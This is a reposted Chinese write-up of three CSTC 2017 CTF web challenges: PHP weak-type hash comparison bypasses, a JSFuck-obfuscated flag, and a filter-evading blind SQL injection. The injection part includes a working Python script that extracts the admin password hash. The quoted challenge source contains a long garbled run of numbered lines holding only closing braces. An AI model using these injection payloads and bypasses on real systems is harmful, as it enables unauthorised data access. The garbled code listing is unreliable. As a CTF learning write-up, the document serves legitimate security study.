

# CSTC-2017-Web-writeup

转载

Berry2014 于 2017-04-17 11:24:00 发布 166 收藏

文章标签: [php](#) [数据库](#) [javascript](#) [ViewUI](#)

原文链接: <http://www.cnblogs.com/Mrsmlth/p/6722007.html>

版权

## 0x01 前言

这一次的比赛web题只做起来3个，也是菜的抠脚。。

## 0x02 web-签到题 php弱类型

查看源码，发现是代码审计，要求用户名必须为字母，密码必须为数字，登陆页面可以用开头为0e的md5值绕过，下面列出一串0e开头的md5值

```
<!-- if (isset($_GET['Username']) && isset($_GET['password'])) {
    $logged = true;
    $Username = $_GET['Username'];
    $password = $_GET['password'];

    if (!ctype_alpha($Username)) {$logged = false;}
    if (!is_numeric($password)) {$logged = false;}
    if (md5($Username) != md5($password)) {$logged = false;}

    if ($logged){
        echo "successful";
    } else {
        echo "login failed!";
    }
}
-->
...

1 <?php
2 var_dump(md5('240610708') == md5('QNKCDZO')); //bool(true)
3 var_dump(md5('aabg7XSs') == md5('aabC9RqS')); //bool(true)
4 var_dump(sha1('aaroZmOk') == sha1('aaK1STfY')); //bool(true)
5 var_dump(sha1('aa08zKZF') == sha1('aa30FF9m')); //bool(true)
6 var_dump('0010e2' == '1e3'); //bool(true)
7 var_dump('0x1234Ab' == '1193131'); //bool(true)
8 var_dump('0xABCdef' == '0xABCdef'); //bool(true)
9 ?>
```

这里是利用了php弱类型的漏洞，0e开头的md5值在进行比较的时候，会将0e识别为科学计数法，先做字符串到数字类型的转换，0的很多次方还是0所以相等，绕过

Username:

Password:

successful, [Next](#)

第二部分是代码审计，同样是利用php弱类型把json\_decode中的内容解码之后，将里面的key键所对应的值与\$key进行比较，如果正确则返回flag

php在进行数字与字符串比较的时候，会将字符串先转化成数字类型，然后再进行比较

```

}
<!-- if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key = "*****";
if ($message->key == $key) {
    echo "flag";
}
else {
    echo "fail";
}
}
else{
    echo "~~~~~";
}
}

```

```

<?php
var_dump("admin"==0); //bool(true)
var_dump("0e123"==0); //bool(true)
var_dump("4test"==4); //bool(true)
?>

```

所以我们的poc是 message={"key":0}即可拿到flag

### 0x03 web 抽抽奖

在 <http://117.34.111.15/js/jquery.js> 中找到了一串jsfuck加密，解密即可拿到flag 推荐两个解jsfuck的网站

[www.jsfuck.com](http://www.jsfuck.com)

<https://enkhee-osiris.github.io/Decoder-JSFuck>

### 0x04 web soeasy

```

1 <?php
2
3 include("config.php");
4
5 $conn ->query("set names utf8");
6
7 function randStr($length=32){
8     $strBase = "1234567890QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
9     $str = "";
10    while($length>0){
11        $str.=substr($strBase,rand(0,strlen($strBase)-1),1);
12        $length --;
13    }
14    return $str;
15 }
16
17 if($install){
18     $sql = "create table `user` (
19         `id` int(10) unsigned NOT NULL PRIMARY KEY AUTO_INCREMENT ,
20         `username` varchar(30) NOT NULL,
21         `passwd` varchar(32) NOT NULL,
22         `role` varchar(30) NOT NULL
23     )ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci ";
24     if($conn->query($sql)){
25         $sql = "insert into `user` (`username`,`passwd`,`role`) values
('admin','".md5(randStr())."', 'admin')";
26         $conn -> query($sql);
27     }
28 }
29
30 function filter($str){
31     $filter = "/[*]!@#%&'&()*+,-./:;<=>?[]^_`{|}~'";

```

```

51     $filter = / |\^|#|;|,|}|union|like|regexp|or|and|or|file|--
|\||'|&|".urldecode('%09')."|"|.urldecode("%0a").|"|.urldecode("%0b").|"|.urldecode('%0c')."|"|.urldecode('%0d
')|"|.urldecode('%a0')."/i";
52     if(preg_match($filter,$str)){
53         die("you can't input this illegal char!");
54     }
55     return $str;
56 }
57 }
58 }
59 }
60 }
61 }
62 }
63 }
64 }
65 }
66 }
67 }
68 }
69 }
70 }
71 }
72 function show($username){
73     global $conn;
74     $sql = "select role from `user` where username = '$username.'";
75     $res = $conn ->query($sql);
76     if($res->num_rows>0){
77         echo "$username is ".$res->fetch_assoc()['role'];
78     }else{
79         die("Don't have this user!");
80     }
81 }
82 }
83 }
84 }
85 }
86 }
87 }
88 }
89 }
90 }
91 }
92 }
93 }
94 }
95 }
96 }
97 }
98 }
99 }
100 }
101 }
102 }
103 }
104 }
105 }
106 }
107 }
108 }
109 }
110 }
111 }
112 }
113 }
114 }
115 }
116 }
117 }
118 }
119 }
120 }
121 }
122 }
123 }
124 }
125 }
126 }
127 }
128 }
129 }
130 }
131 }
132 }
133 }
134 }
135 }
136 }
137 }
138 }
139 }
140 }
141 }
142 }
143 }
144 }
145 }
146 }
147 }
148 }
149 }
150 }
151 }
152 }
153 }
154 }
155 }
156 }
157 }
158 }
159 }
160 }
161 }
162 }
163 }
164 }
165 }
166 }
167 }
168 }
169 }
170 }
171 }
172 }
173 }
174 }
175 }
176 }
177 }
178 }
179 }
180 }
181 }
182 }
183 }
184 }
185 }
186 }
187 }
188 }
189 }
190 }
191 }
192 }
193 }
194 }
195 }
196 }
197 }
198 }
199 }
200 }
201 }
202 }
203 }
204 }
205 }
206 }
207 }
208 }
209 }
210 }
211 }
212 }
213 }
214 }
215 }
216 }
217 }
218 }
219 }
220 }
221 }
222 }
223 }
224 }
225 }
226 }
227 }
228 }
229 }
230 }
231 }
232 }
233 }
234 }
235 }
236 }
237 }
238 }
239 }
240 }
241 }
242 }
243 }
244 }
245 }
246 }
247 }
248 }
249 }
250 }
251 }
252 }
253 }
254 }
255 }
256 }
257 }
258 }
259 }
260 }
261 }
262 }
263 }
264 }
265 }
266 }
267 }
268 }
269 }
270 }
271 }
272 }
273 }
274 }
275 }
276 }
277 }
278 }
279 }
280 }
281 }
282 }
283 }
284 }
285 }
286 }
287 }
288 }
289 }
290 }
291 }
292 }
293 }
294 }
295 }
296 }
297 }
298 }
299 }
300 }
301 }
302 }
303 }
304 }
305 }
306 }
307 }
308 }
309 }
310 }
311 }
312 }
313 }
314 }
315 }
316 }
317 }
318 }
319 }
320 }
321 }
322 }
323 }
324 }
325 }
326 }
327 }
328 }
329 }
330 }
331 }
332 }
333 }
334 }
335 }
336 }
337 }
338 }
339 }
340 }
341 }
342 }
343 }
344 }
345 }
346 }
347 }
348 }
349 }
350 }
351 }
352 }
353 }
354 }
355 }
356 }
357 }
358 }
359 }
360 }
361 }
362 }
363 }
364 }
365 }
366 }
367 }
368 }
369 }
370 }
371 }
372 }
373 }
374 }
375 }
376 }
377 }
378 }
379 }
380 }
381 }
382 }
383 }
384 }
385 }
386 }
387 }
388 }
389 }
390 }
391 }
392 }
393 }
394 }
395 }
396 }
397 }
398 }
399 }
400 }
401 }
402 }
403 }
404 }
405 }
406 }
407 }
408 }
409 }
410 }
411 }
412 }
413 }
414 }
415 }
416 }
417 }
418 }
419 }
420 }
421 }
422 }
423 }
424 }
425 }
426 }
427 }
428 }
429 }
430 }
431 }
432 }
433 }
434 }
435 }
436 }
437 }
438 }
439 }
440 }
441 }
442 }
443 }
444 }
445 }
446 }
447 }
448 }
449 }
450 }
451 }
452 }
453 }
454 }
455 }
456 }
457 }
458 }
459 }
460 }
461 }
462 }
463 }
464 }
465 }
466 }
467 }
468 }
469 }
470 }
471 }
472 }
473 }
474 }
475 }
476 }
477 }
478 }
479 }
480 }
481 }
482 }
483 }
484 }
485 }
486 }
487 }
488 }
489 }
490 }
491 }
492 }
493 }
494 }
495 }
496 }
497 }
498 }
499 }
500 }
501 }
502 }
503 }
504 }
505 }
506 }
507 }
508 }
509 }
510 }
511 }
512 }
513 }
514 }
515 }
516 }
517 }
518 }
519 }
520 }
521 }
522 }
523 }
524 }
525 }
526 }
527 }
528 }
529 }
530 }
531 }
532 }
533 }
534 }
535 }
536 }
537 }
538 }
539 }
540 }
541 }
542 }
543 }
544 }
545 }
546 }
547 }
548 }
549 }
550 }
551 }
552 }
553 }
554 }
555 }
556 }
557 }
558 }
559 }
560 }
561 }
562 }
563 }
564 }
565 }
566 }
567 }
568 }
569 }
570 }
571 }
572 }
573 }
574 }
575 }
576 }
577 }
578 }
579 }
580 }
581 }
582 }
583 }
584 }
585 }
586 }
587 }
588 }
589 }
590 }
591 }
592 }
593 }
594 }
595 }
596 }
597 }
598 }
599 }
600 }
601 }
602 }
603 }
604 }
605 }
606 }
607 }
608 }
609 }
610 }
611 }
612 }
613 }
614 }
615 }
616 }
617 }
618 }
619 }
620 }
621 }
622 }
623 }
624 }
625 }
626 }
627 }
628 }
629 }
630 }
631 }
632 }
633 }
634 }
635 }
636 }
637 }
638 }
639 }
640 }
641 }
642 }
643 }
644 }
645 }
646 }
647 }
648 }
649 }
650 }
651 }
652 }
653 }
654 }
655 }
656 }
657 }
658 }
659 }
660 }
661 }
662 }
663 }
664 }
665 }
666 }
667 }
668 }
669 }
670 }
671 }
672 }
673 }
674 }
675 }
676 }
677 }
678 }
679 }
680 }
681 }
682 }
683 }
684 }
685 }
686 }
687 }
688 }
689 }
690 }
691 }
692 }
693 }
694 }
695 }
696 }
697 }
698 }
699 }
700 }
701 }
702 }
703 }
704 }
705 }
706 }
707 }
708 }
709 }
710 }
711 }
712 }
713 }
714 }
715 }
716 }
717 }
718 }
719 }
720 }
721 }
722 }
723 }
724 }
725 }
726 }
727 }
728 }
729 }
730 }
731 }
732 }
733 }
734 }
735 }
736 }
737 }
738 }
739 }
740 }
741 }
742 }
743 }
744 }
745 }
746 }
747 }
748 }
749 }
750 }
751 }
752 }
753 }
754 }
755 }
756 }
757 }
758 }
759 }
760 }
761 }
762 }
763 }
764 }
765 }
766 }
767 }
768 }
769 }
770 }
771 }
772 }
773 }
774 }
775 }
776 }
777 }
778 }
779 }
780 }
781 }
782 }
783 }
784 }
785 }
786 }
787 }
788 }
789 }
790 }
791 }
792 }
793 }
794 }
795 }
796 }
797 }
798 }
799 }
800 }
801 }
802 }
803 }
804 }
805 }
806 }
807 }
808 }
809 }
810 }
811 }
812 }
813 }
814 }
815 }
816 }
817 }
818 }
819 }
820 }
821 }
822 }
823 }
824 }
825 }
826 }
827 }
828 }
829 }
830 }
831 }
832 }
833 }
834 }
835 }
836 }
837 }
838 }
839 }
840 }
841 }
842 }
843 }
844 }
845 }
846 }
847 }
848 }
849 }
850 }
851 }
852 }
853 }
854 }
855 }
856 }
857 }
858 }
859 }
860 }
861 }
862 }
863 }
864 }
865 }
866 }
867 }
868 }
869 }
870 }
871 }
872 }
873 }
874 }
875 }
876 }
877 }
878 }
879 }
880 }
881 }
882 }
883 }
884 }
885 }
886 }
887 }
888 }
889 }
890 }
891 }
892 }
893 }
894 }
895 }
896 }
897 }
898 }
899 }
900 }
901 }
902 }
903 }
904 }
905 }
906 }
907 }
908 }
909 }
910 }
911 }
912 }
913 }
914 }
915 }
916 }
917 }
918 }
919 }
920 }
921 }
922 }
923 }
924 }
925 }
926 }
927 }
928 }
929 }
930 }
931 }
932 }
933 }
934 }
935 }
936 }
937 }
938 }
939 }
940 }
941 }
942 }
943 }
944 }
945 }
946 }
947 }
948 }
949 }
950 }
951 }
952 }
953 }
954 }
955 }
956 }
957 }
958 }
959 }
960 }
961 }
962 }
963 }
964 }
965 }
966 }
967 }
968 }
969 }
970 }
971 }
972 }
973 }
974 }
975 }
976 }
977 }
978 }
979 }
980 }
981 }
982 }
983 }
984 }
985 }
986 }
987 }
988 }
989 }
990 }
991 }
992 }
993 }
994 }
995 }
996 }
997 }
998 }
999 }
1000 }

```

action 有三种模式 source login show , source是使代码高亮, login 是需要登陆 ,show 是查找username是否存在

查看源码得知username为admin password为一串随机生成的32字符串的md5值 显然通过login 这里爆破密码是不可取的, 并且login要绕过admin, 这里参考了p牛的文章, 用%c2可以绕过

回归正题这里在login字段有一个\$sql语句可以注入, 属于盲注, 下面这些字段被过滤了

☒ ☒

```
1 <?php
2 *
3 ;
4 ,
5 is
6 union
7 like
8 regexp
9 for
10 and
11 or
12 file
13 --
14 |
15 `
16 &
17 空格
18 ?>
```

#### View Code

这道题和swup-CTF的题有点类似

()可以绕过空格, 运用select\*from xx where xx='0'='1'='0' 然后在1中放入我们的代码就好了

```
1 row in set (0.00 sec)
mysql> select*From user where username='username'=(select(1)from(user)where(mid((passwd)from(32))='6'))='';
+----+-----+-----+-----+
| id | username | passwd | role |
+----+-----+-----+-----+
| 1 | admin | 4daa713c688ff08dc09b984d4d221f06 | admin |
+----+-----+-----+-----+
1 row in set (0.00 sec)
```

直接放poc

```
1 #coding=utf-8
2 import requests
3 url='http://117.34.111.15:89/index.php?action=show'
4 string='abcdef0123456789'
5 flag=""
6 for length in range(1,33):
7     for x in string:
8         s=requests.session()
9         payload={"username":"'username'=(select(1)from(user)where(mid((passwd)from(%d))='%s%s'))='%"
(33-length,x,flag)}
10         if 'admin' in s.post(url,data=payload).content:
11             flag=x+flag
12             print 33-length,flag
```

最终将密码的md5值跑出来

```
8 f04f594bffffc826fd69e389688
7 f04f594bffffc826fd69e389688
6 2f04f594bffffc826fd69e389688
5 d2f04f594bffffc826fd69e389688
4 1d2f04f594bffffc826fd69e389688
3 b1d2f04f594bffffc826fd69e389688
2 7b1d2f04f594bffffc826fd69e389688
1 37b1d2f04f594bffffc826fd69e389688
[Finished in 18.0s]
```

login处%c2绕过原理具体请看p牛文章 [Mysql字符编码利用技巧](#)

最终getflag

转载于:<https://www.cnblogs.com/Mrsm1th/p/6722007.html>